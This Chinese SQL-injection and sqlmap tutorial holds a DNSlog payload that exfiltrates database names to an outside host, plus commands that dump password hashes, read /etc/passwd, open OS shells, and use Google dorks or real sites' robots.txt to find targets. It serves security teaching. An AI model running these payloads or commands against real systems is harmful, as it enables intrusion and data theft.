渗透测试 ( 6 ) --- SQL 注入神器 sqlmap

sqlmap 官网:http://sqlmap.org/
sqlmap文档地址:https://github.com/sqlmapproject/sqlmap/wiki/Usage
sqlmap 使用 思维导图:http://download.csdn.net/detail/freeking101/9887831

黑帽与白帽都喜爱的十大SQL注入工具:http://www.aqniu.com/industry/1449.html
国内外 SQL 神器 :http://blog.csdn.net/heimian/article/details/7080822

SQL注入攻击与防御:https://www.jianshu.com/p/ba35a7e1c67d

1、sqlmap 简介

SQL 注入

SQL注入 ( SQL Injection ) 就是通过把 SQL 命令插入到 Web表单提交输入域名页面URL请求查询的字符串,最终达到欺骗服务器执行恶意的 SQL命令,如果管理员没有对 id 参数进行过滤那么黑客可以通过数据传输点将恶意的SQL语句带入查询。

其实就是:改变原来的 sql 语句,导致 sql 执行结果发生改变。

具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.(来源于百度)

也就是说网站页面包含与数据库交互的部分(例如新闻网站的查找功能),而当在网站输入数据信息,数据信息被程序化后传入数据库执行的过程中,网站的开发人员没有对这些传入数据库的相应数据做安全处理(比如过滤特殊字符、编码等),导致黑客可以将恶意代码(也就是包含非法SQL语句的SQL命令)通过网站前段传入数据库,并在数据库中执行这些具有黑客目的的SQL语句,从而造成数据库信息泄露、损坏等后果。

SQL注入的一般分类,按照注入点类型来分类

  • (1)数字型注入点。许多网页链接有类似的结构 http://www.example.com/12.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1
  • (2)字符型注入点。网页链接有类似的结构 http://xwww.example.com/users.php?user=admin 这种形式,其注入点 user 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where user='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where user='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉。
  • (3)搜索型注入点。这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

如何判断是否存在SQL注入?

简单点讲就是:所有的输入,只要和数据库进行交互的,都有可能触发SQL注入

SQL注入按照数据提交的方式可分为:

  • (1)GET 注入:提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。
  • (2)POST 注入:使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
  • (3)Cookie 注入:HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
  • (4)HTTP 头部注入:注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

根据提交方式分类后,你会发现SQL注入最长发生的位置在链接地址、数据参数、cookie信息以及HTTP请求头等位置。了解了可能存在SQL注入的位置,然后我们需要判断在这些位置上是否能够触发SQL注入,最简单的方式就是在相应位置输入and 1=1 (以及and 1=1 的变换形式)来判断。对于不同的注入点类型,比如字符型需要适当添加单引号,而对于数字型的注入点则不需要。

sqlmap 支持的注入方式

sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。目前支持的数据库有 MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access 等几乎所有数据库。

sqlmap 全面支持 6 种 SQL注入技术:

  • 基于 布尔类型的盲注 ( boolean-based blind ):根据返回页面,判断条件真假的注入。适用场景:没有数据回显,条件正确时有结果,条件错误时没有结果。利用方法:构造判断条件,逐个猜测(盲猜) ( :https://www.bilibili.com/video/BV1jL4y1j7i6?p=45: )
  • 基于 时间的盲注 ( time-based blind ):当不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行( 即页面返回时间是否增加 )来判断。( :https://www.bilibili.com/video/BV1jL4y1j7i6?p=46: )。场景:当不能sql注入没有回应时,假设可以延迟 5s在执行,如果延迟5s后执行了构造的sql,说明可以sql注入。
  • 基于 报错注入 ( erroe-based ):页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。主要是利用 sql 语法错误,返回错误信息,错误信息中包含敏感信息。( :https://www.bilibili.com/video/BV1jL4y1j7i6?p=47 )
  • 基于 联合查询注入 ( UNION query-based ):在可以使用 Union 的情况下的注入。
  • 基于 堆查询注入 ( stacked queries ):可以同时执行多条语句时的注入。
  • 基于 带外注入 ( out-of-band 即 OOB ):就是非应用内通信注入,比如 dnslog。构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。

宽字节注入:利用gbk是多字节的编码,两个字节代表一个汉字

DNSLog 注入

原理:

  • :https://www.bilibili.com/video/BV1jL4y1j7i6?p=49
  • :https://www.bilibili.com/video/BV1Mr4y1i7s4?p=72

根据 dnslog 原理,既然 dns 请求可以,那么 http 请求也可以。

:https://blog.csdn.net/weixin_47559704/article/details/122473265

在 sql 注入时,布尔盲注、时间盲注,注入的效率低且线程高容易被 waf 拦截,又或者是目标站点没有回显,在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到DNSlog 注入。首先需要有一个可以配置的域名,比如:xxx.io,然后通过代理商设置域名 xxx.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 xxx.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第1张图片

DNS 在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息

UNC ( Universal Naming Convention ) 通用命名规则

格式:\servername\sharename,其中 servername 是服务器名。sharename是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
其实平常在 Widnows中用共享文件的时候就会用到这种网络地址的形式:\sss.xxx\test 。

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第2张图片

这也就解释了为什么 CONCAT() 函数拼接了4个 \ ,因为转义的原因,4个就变\成了2个\,目的就是利用UNC路径。
例如:http://dvwa/vulnerabilities/sqli_blind/?id=1' and (select load_file(concat('\\\\',(select database()),'.vlfrr9.dnslog.cn\\abc')))--+&Submit=Submit#

这里concat函数拼接了4个\最后变成2个\

子域名 网址 推荐

:http://www.dnslog.cn
:http://admin.dnslog.link
可以发起 http 请求,需要注册:http://ceye.io

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第3张图片

sql 注入利用

通过 DNSlog 盲注需要用的 load_file() 函数,所以一般得是 root 权限。show variables like ‘%secure%’; 查看 load_file() 可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
如果为Null解决如下:
windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =
如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。

show variables like '%secure%';

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第4张图片

通过设置 my.ini 来配置。secure_file_priv="" 就是可以 load_flie 任意磁盘的文件。

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第5张图片

以管理员身份打开 cmd 重启后
net stop mysql
net start mysql

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第6张图片

http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1' and (select load_file(concat('\\\\',(select database()),'.fl1ka5.dnslog.cn\\abc')))--+&Submit=Submit#

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第7张图片

这里使用的是http://www.dnslog.cn/
点击Get SubDomain,将获取的dnslog替换掉,执行以后点击Refresh Record,这样就查询到了我们所需要的数据库名称。表名,字段名亦是如此。

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第8张图片

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第9张图片

dnslogsql 注入工具:https://github.com/search?q=dnslog

2、sqlmap 命令帮助

sqlmap 官网:http://sqlmap.org/ Sqlmap 的安装需要Python环境,最新版可以运行在 Python 2.6, 2.7 和 3.x 版本的任何平台上。下载完成后可以添加进环境变量,方便使用(不添加也可以用)

sqlmap 参数的 2 种写法:

  • sqlmap.py -u "url" --tamper "xxx.py"
  • sqlmap.py -u "url" --tamper="xxx.py"

sqlmap -hh

选项:
    -h, --help  基本帮助信息
    -hh         高级帮助信息
    --version   版本号
    -v VERBOSE  详细级别:0-6(默认为 1)

    目标:( 即 http 请求的 url。下面几个参数至少要有一个 )    
        -u URL,--url=URL 目标 URL ( 例如 http://www.site.com/vuln.php?id=1 )
        -d DIRECT         直接连接数据库的连接字符串
        -l LOGFILE        从 Burp 或 WebScarab 代理日志文件中解析目标
        -m BULKFILE       扫描文本文件中给定的多个目标
        -r REQUESTFILE    从文件加载 HTTP 请求
        -g GOOGLEDORK     将 Google dork 结果作为目标 URL 处理
        -c CONFIGFILE     从配置 INI 文件加载选项

    http 请求的相关设置:( 指定如何连接到目标 URL )
        -A AGENT, --user..   HTTP User-Agent 标头值
        -H HEADER, --hea..   额外的标题(例如“X-Forwarded-For: 127.0.0.1”)
        --method=METHOD      强制使用给定的 HTTP 方法(例如 PUT)
        --data=DATA          通过 POST 发送的数据字符串(例如 id=1)
        --param-del=PARA..   用于分割参数值的字符(例如 &)
        --cookie=COOKIE      Cookie 标头值(例如“PHPSESSID=a8d127e..”)
        --cookie-del=COO..   用于分割 cookie 值的字符(例如 ;)
        --live-cookies=L..   用于加载最新值的实时 cookie 文件
        --load-cookies=L..   包含 Netscape/wget 格式的 cookie 的文件
        --drop-set-cookie    忽略响应中的 Set-Cookie 标头
        --mobile             通过 HTTP User-Agent header 模仿智能手机
        --random-agent       构造随机 user-agent
        --host=HOST          HTTP 主机标头值
        --referer=REFERER    HTTP 引用头值
        --headers=HEADERS    额外的标题(例如“Accept-Language: fr\nETag: 123”)
        --auth-type=AUTH..   HTTP 认证类型(Basic、Digest、Bearer、...)
        --auth-cred=AUTH..   HTTP 身份验证凭据(名称:密码)
        --auth-file=AUTH..   HTTP 认证 PEM 证书/私钥文件
        --ignore-code=IG..   忽略(有问题的)HTTP 错误代码(例如 401)
        --ignore-proxy       忽略系统默认代理设置
        --ignore-redirects   忽略重定向尝试
        --ignore-timeouts    忽略连接超时
        --proxy=PROXY        使用代理连接到目标 URL。示例:--proxy=http://local:8080
        --proxy-cred=PRO..   代理身份验证凭据(名称:密码)
        --proxy-file=PRO..   从文件加载代理列表
        --proxy-freq=PRO..   从给定列表更改代理之间的请求
        --tor                使用 Tor 匿名网络
        --tor-port=TORPORT   设置 Tor 代理端口不是默认端口
        --tor-type=TORTYPE   设置 Tor 代理类型(HTTP、SOCKS4 或 SOCKS5(默认))
        --check-tor          检查 Tor 是否正确使用
        --delay=DELAY        每个 HTTP 请求之间的延迟秒数
        --timeout=TIMEOUT    连接超时前等待的秒数(默认 30)
        --retries=RETRIES    连接超时重试(默认3)
        --retry-on=RETRYON   对正则表达式匹配内容的重试请求(例如“drop”)
        --randomize=RPARAM   随机更改给定参数的值
        --safe-url=SAFEURL   测试时经常访问的URL地址
                            有的 web 程序会在多次错误访问后屏蔽所有请求,
                            这样就导致之后所有的测试无法进行,
                            使用 --safe-url,每隔一段时间去访问一个正常的页面。
        --safe-post=SAFE..   POST 数据发送到一个安全的 URL
        --safe-req=SAFER..   从文件加载安全的 HTTP 请求
        --safe-freq=SAFE..   访问安全 URL 之间的定期请求
        --skip-urlencode     跳过有效载荷数据的 URL 编码
        --csrf-token=CSR..   用于保存anti-CSRF令牌的参数
        --csrf-url=CSRFURL   提取反 CSRF 令牌要访问的 URL 地址
        --csrf-method=CS..   在反 CSRF 令牌页面访问期间使用的 HTTP 方法
        --csrf-retries=C..   重试反 CSRF 令牌检索(默认 0)
        --force-ssl          强制使用 SSL/HTTPS
        --chunked            使用 HTTP 分块传输编码 (POST) 请求
        --hpp                使用 HTTP 参数污染方式
                             HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,
                             这个对ASP/IIS与ASP.NET/IIS平台很有效。
        --eval=EVALCODE      在请求之前评估提供的 Python 代码
                            (例如"导入 hashlib;id2=hashlib.md5(id).hexdigest()")


    优化:( 用来优化 sqlmap 的性能 )               
        -o                 打开所有优化开关
        --predict-output   预测常见查询输出
        --keep-alive       使用持久的 HTTP(s) 连接。即保持连接
        --null-connection  在没有实际 HTTP 响应正文的情况下检索页面长度
        --threads=THREADS  最大并发 HTTP(s) 请求数(默认 1)

    注入:( 用于指定要测试的参数,提供自定义注入payload和可选的篡改脚本 )        
        -p TESTPARAMETER      要测试的参数
        --skip=SKIP           测试时跳过的参数
                              当使用的 --level 值很大,但有个别参数不想测试时可以使用
        --skip-static         跳过看起来不是动态的测试参数。
        --param-exclude=..    使用正则排除要测试的参数(例如“ses”)
        --param-filter=P..    按位置选择可测试的参数(例如“POST”)
        --dbms=DDBMS          指定数据库类型。示例:--dbms=mysql
        --dbms-cred=DBMS..    DBMS 身份验证凭据(用户:密码)
        --os=OS               强制后端 DBMS 操作系统为提供的值
        --invalid-bignum      使用大数字使值无效
        --invalid-logical     使用逻辑运算使值无效
        --invalid-string      使用随机字符串使值无效
        --no-cast             关闭有效载荷投射机制
        --no-escape           关闭字符串转义机制
        --prefix=PREFIX       注入负载 的 前缀字符串
        --suffix=SUFFIX       注入载荷 的 后缀字符串
        --tamper=TAMPER       使用给定的脚本来篡改注入数据

    检测:( 用于自定义检测阶段 )               
        --level=LEVEL      要执行的测试级别(1-5,默认 1)
        --risk=RISK        执行测试的风险(1-3,默认1)
        --string=STRING    查询评估为 True 时匹配的字符串
        --not-string=NOT.. 查询评估为 False 时匹配的字符串
        --regexp=REGEXP    查询评估为 True 时匹配的正则表达式
        --code=CODE        查询评估为 True 时匹配的 HTTP 代码
        --smart            仅在积极的启发式方法时执行彻底的测试,启发式判断注入
                 有时对目标非常多的URL进行测试,为节省时间只对能够快速判断为注入的报错点进行注入
        --text-only        仅根据文本内容比较页面
        --titles           仅根据标题比较页面

    注入使用的技术:( 用于调整特定 SQL 注入的测试技术 )                
        --technique=TECH..    要使用的 SQL 注入技术(默认“BEUSTQ”)
        --time-sec=TIMESEC    延迟 DBMS 响应的秒数(默认 5)。设定延迟注入的时间
        --union-cols=UCOLS    用于测试 UNION 查询 SQL 注入的列范围。
                              默认情况下 sqlmap 测试 UNION 查询注入会测试1-10个字段数,
                              当--level为5的时候他会增加测试到50个字段数。
                              --union-cols 值是一段整数,如:12-16,是测试12-16个字段数
        --union-char=UCHAR    用于强制列数的字符
                              设定UNION查询使用的字符。参数:--union-char  
                              默认情况下sqlmap针对UNION查询的注入会使用NULL字符,
                              但是有些情况下会造成页面返回失败,而一个随机整数是成功的,
                              这时你可以用--union-char只定UNION查询的字符。
        --union-from=UFROM    表在 UNION 查询 SQL 注入的 FROM 部分中使用
        --dns-domain=DNS..    用于 DNS 渗透攻击的域名
        --second-url=SEC..    搜索二阶响应的结果页面 URL
        --second-req=SEC..    从文件加载二阶 HTTP 请求

    指纹:
        -f, --fingerprint 执行广泛的 DBMS 版本指纹

    枚举:( 用于枚举后端数据库管理系统信息、结构和数据包含在表 )                
        -a, --all       检索所有内容
        -b, --banner    检索 DBMS 横幅
        --current-user  检索 DBMS 当前用户
        --current-db    检索 DBMS 当前数据库
        --hostname      检索 DBMS 服务器主机名
        --is-dba        检测 DBMS 当前用户是否为 DBA
        --users         枚举 DBMS 用户
        --passwords     枚举 DBMS 用户密码哈希
        --privileges    枚举 DBMS 用户权限
        --roles         枚举 DBMS 用户角色
        --dbs           枚举 DBMS 数据库
        --tables        枚举 DBMS 数据库表
        --columns       枚举 DBMS 数据库表列
        --schema        枚举 DBMS 模式
        --count         检索表的条目数
        --dump          转储 DBMS 数据库表条目
        --dump-all      转储所有 DBMS 数据库表条目
        --search        搜索列、表和/或数据库名称
        --comments      在枚举期间检查 DBMS 注释
        --statements    检索在 DBMS 上运行的 SQL 语句
        -D DB           DBMS 数据库枚举
        -T TBL          DBMS 数据库表枚举
        -C COL          DBMS 数据库表列枚举
        -X EXCLUDE      DBMS 数据库标识符不枚举
        -U USER         DBMS 用户枚举
        --exclude-sysdbs      枚举表时排除 DBMS 系统数据库
        --pivot-column=P..    透视列名
        --where=DUMPWHERE     在表转储时使用 WHERE 条件
        --start=LIMITSTART    要检索的第一个转储表条目
        --stop=LIMITSTOP      要检索的最后一个转储表条目
        --first=FIRSTCHAR     要检索的第一个查询输出单词字符
        --last=LASTCHAR       最后查询输出要检索的单词字符
        --sql-query=SQLQ..    要执行的SQL语句
        --sql-shell           提示交互式 SQL shell
        --sql-file=SQLFILE    从给定文件执行 SQL 语句

    爆 破:( 用于运行蛮力检查 )        
        --common-tables     检查公用表是否存在
        --common-columns    检查公共列是否存在
        --common-files      检查公共文件是否存在
    
    用户自定义函数注入:( 用于创建自定义的用户定义函数 )         
        --udf-inject          注入用户定义的函数
        --shared-lib=SHLIB    共享库的本地路径
    
    文件系统访问:( 用于访问后端数据库管理系统底层文件系统 )    
        --file-read=FILE..    从后端 DBMS 文件系统读取文件
        --file-write=FIL..    往后端 DBMS 文件系统上写入本地文件
        --file-dest=FILE..    要写入的后端 DBMS 绝对文件路径
    
    操作系统访问:( 用于访问后端数据库管理系统底层操作系统 )        
        --os-cmd=OSCMD        执行操作系统命令
        --os-shell            提示交互式操作系统外壳
        --os-pwn              提示 OOB shell、Meterpreter 或 VNC
        --os-smbrelay         一键提示 OOB shell、Meterpreter 或 VNC
        --os-bof              存储过程缓冲区溢出利用
        --priv-esc            数据库进程用户权限提升
        --msf-path=MSFPATH    安装 Metasploit 框架的本地路径
        --tmp-path=TMPPATH    临时文件目录的远程绝对路径
    
    Windows 注册表访问:( 用于访问后端数据库管理系统 Windows 注册表 )
        --reg-read             读取 Windows 注册表键值
        --reg-add              写入一个 Windows 注册表键值数据
        --reg-del              删除 Windows 注册表项值
        --reg-key=REGKEY       Windows 注册表项
        --reg-value=REGVAL     Windows 注册表项值
        --reg-data=REGDATA     Windows 注册表键值数据
        --reg-type=REGTYPE     Windows 注册表键值类型

    通用设置:( 设置工作时通用的参数 )
        -s SESSIONFILE         从存储的 (.sqlite) 文件中加载会话
        -t TRAFFICFILE         将所有 HTTP 流量记录到文本文件中
        --answers=ANSWERS      设置预定义的答案(例如“quit=N,follow=N”)
        --base64=BASE64P..     包含 Base64 编码数据的参数
        --base64-safe          使用 URL 和文件名安全的 Base64 字母 (RFC 4648)
        --batch                不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
        --binary-fields=..     具有二进制值的结果字段(例如“digest”)
        --check-internet       在评估目标之前检查 Internet 连接
        --cleanup              清除sqlmap注入时产生的udf与表
        --crawl=CRAWLDEPTH     爬取的深度。从目标 URL 开始爬取网站
        --crawl-exclude=..     正则表达式从抓取中排除页面(例如“注销”)
        --csv-del=CSVDEL       CSV 输出中使用的分隔符(默认为“,”)
        --charset=CHARSET      盲注 SQL 字符集(例如“0123456789abcdef”)
                               不使用自动识别的(如HTTP头中的Content-Type)字符编码,
                               强制指定字符编码。示例:--charset=GBK
        --dump-format=DU..     转储数据的格式(CSV(默认)、HTML 或 SQLITE)
        --encoding=ENCOD..     用于数据检索的字符编码(例如 GBK)
        --eta                  显示注入数据的剩余时间。
        --flush-session        刷新当前目标的会话文件。
                               果不想用之前缓存这个目标的session文件,可以使用这个参数。 
                               会清空之前的session,重新测试该目标。
        --forms                在目标 URL 上解析和测试表单。
                               自动从-u 中的 url 获取页面中的表单进行测试。
        --fresh-queries        忽略存储在会话文件中的查询结果。 
                               忽略session文件保存的查询,重新查询。
        --gpage=GOOGLEPAGE     使用指定页码的 Google dork 结果
        --har=HARFILE          将所有 HTTP 流量记录到 HAR 文件中
        --hex                  在数据检索期间使用十六进制转换
                               有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免:
        --output-dir=OUT..     自定义输出目录路径
        --parse-errors         从响应中解析并显示 DBMS 错误消息
        --preprocess=PRE..     使用给定的脚本进行预处理(请求)
        --postprocess=PO..     使用给定的脚本进行后处理(响应)
        --repair               具有未知字符标记 (?) 的 Redump 条目
        --save=SAVECONFIG      将选项保存到配置 INI 文件
        --scope=SCOPE          用于过滤目标的正则表达式
        --skip-heuristics      跳过漏洞的启发式检测
        --skip-waf             跳过 WAF/IPS 保护的启发式检测
        --table-prefix=T..     用于临时表的前缀(默认值:“sqlmap”)
        --test-filter=TE..     按有效负载和/或标题(例如 ROW)选择测试
        --test-skip=TEST..     按有效负载和/或标题跳过测试(例如 BENCHMARK)
        --web-root=WEBROOT     Web 服务器文档根目录(例如“/var/www”)

    其他设置:
        -z MNEMONICS       使用简短的助记符(例如“flu,bat,ban,tec=EU”)。
                           有使用参数太长太复杂,可以使用缩写模式
        --alert=ALERT      发现 SQL 注入时运行主机操作系统命令
        --beep             发现SQL注入时发出蜂鸣声
        --dependencies     检查缺失(可选)的 sqlmap 依赖项
        --disable-coloring 禁用控制台彩色输出
        --list-tampers     显示可用的篡改脚本列表
        --no-logging       禁用记录到文件
        --offline          在离线模式下工作(仅使用会话数据)
        --purge            从 sqlmap 数据目录中安全删除所有内容,删除 output目录的文件
        --results-file=R.. 多目标模式下 CSV 结果文件的位置
        --shell            提示交互式 sqlmap shell
        --tmp-dir=TMPDIR   存放临时文件的本地目录
        --unstable         调整不稳定连接的选项
        --update           更新sqlmap
        --wizard           适合初学者的简单向导界面。示例:sqlmap --wizard

sqlmap 输出级别:对一个注入点进行测试时,可以使用 -v x 显示详细过程,默认是 1。-v 可以查看 sqlmap 对一个点进行了怎样的尝试判断以及读取数据的,如果想看到 sqlmap 发送的测试 payload 最好的等级就是 3。示例:sqlmap.py -v 3 -u "http://www.xxx.com/a.php?id=x"

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第10张图片

sqlmap 的缩写模式:参数:-z   如果使用参数太长太复杂,可以简化,使用 " 缩写模式 "。

示例:python sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"

可以写成:python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"

示例:python sqlmap --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"

可以写成:python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"

sqlmap 获取目标 URL 的几种方式

  • 1. 指定目标 url:sqlmap -u "http:/192.168.3.2/sqli-labs/Less-1/?id=1"
  • 2. 从 Sitemap 中获取多个url:sqlmap -m 1.txt
        CSDN:https://blog.csdn.net/robots.txt
        爱奇艺:https://www.iqiyi.com/robots.txt
        简书:https://www.jianshu.com/robots.txt
  • 3. 从 抓包的请求文件中加载 HTTP 请求 :sqlmap -r url.txt
  • 4. 利用 google 获取目标:sqlmap -g "inurl:\".php?id=1\""
  • 5. 从 Burpsuite、WebScarab 日志中获取目标:sqlmap -l burp.txt

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第11张图片

http 请求相关设置

http 请求相关设置。可以设定 HTTP(S) 请求的并发数来提高盲注时的效率。

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第12张图片

实例演示 - sqlmap 注入检测

1. GET 参数 注入
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"

2. POST 参数 注入
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1" --data="id=1"

3. cookie 注入 (level>=2时才会检测cookie)
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 2
用 * 号指定cookie,这样就可以检测cookie。
sqlmap -r"/root/1.txt"

4. user-agent 注入
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 3
用 * 号指定user-agent,这样就可以检测user-agent。
sqlmap -r"/root/1.txt"

5. referer 注入
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 3
用 * 号指定referer,这样就可以检测referer。
sqlmap -r"/root/1.txt"

6. host 注入
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 5
用 * 号指定host,这样就可以检测host。
sqlmap -r"/root/1.txt"

注入

注入:成功执行并得到数据,才叫注入。
注入技术:为了成功执行并得到数据而使用的技术叫做注入技术

注入payload
参数:--prefix,--suffix
在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。
例如,代码中是这样调用数据库的:$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
这时你就需要--prefix和--suffix参数了:python sqlmap.py -u "http://192.168.0.3/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
这样执行的SQL语句变成:$query = "SELECT * FROM users WHERE id=('1') AND ('abc'='abc') LIMIT 0, 1";

注入使用的技术

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第13张图片

爆破

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第14张图片

用户自定义函数注入

系统文件操作

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第15张图片

操作系统 shell

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第16张图片

windows 注册表操作

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第17张图片

其他一些设置

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第18张图片


 

3、sqlmap 使用

本地环境 ( "http://192.168.0.3/sqli_labs/index.html" ) :

1、sqlmap -u 注入点            // 扫描注入点
2、sqlmap -g "关键词"          // 这是通过google搜索注入。
3、python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 
4、指定参数注入 
    python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id" 
    python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "cat,id" 
5、指定方法和post的数据 
    python sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" --data "id=1&cat=2" 
6、指定cookie,可以注入一些需要登录的地址 
    python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE" 
7、通过代理注入 
    python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118" 
8、指定关键词,也可以不指定。程序会根据返回结果的hash自动判断 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --string "STRING_ON_TRUE_PAGE" 
9、--dbms 指定数据,这样就不用猜测其他的数据库里。可以提高效率。     
    sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 --dbs
    sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test --tables
    sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test -T admin --columns
    sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test -T admin -C "username,password" --dump
10、指纹判别数据库类型 
    python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f 
11、获取banner信息 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -b 
12、获取当前数据库,当前用户,所有用户,密码,所有可用数据库。 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --current-db 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --users 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --passwords 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dbs 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --tables -D "information_schema" 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --columns -T "user" -D "mysql" 
13、显示指定的文件内容,一般用于php 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --file-read /etc/passwd 
14、执行你自己的sql语句。 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --sql-query="SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" 
    
15、union注入 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --union-check 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --union-use --banner 
16、保存注入过程到一个文件,还可以从文件恢复出注入过程,很方便,一大特色。你可以在注入的时候中断,有时间再继续。 
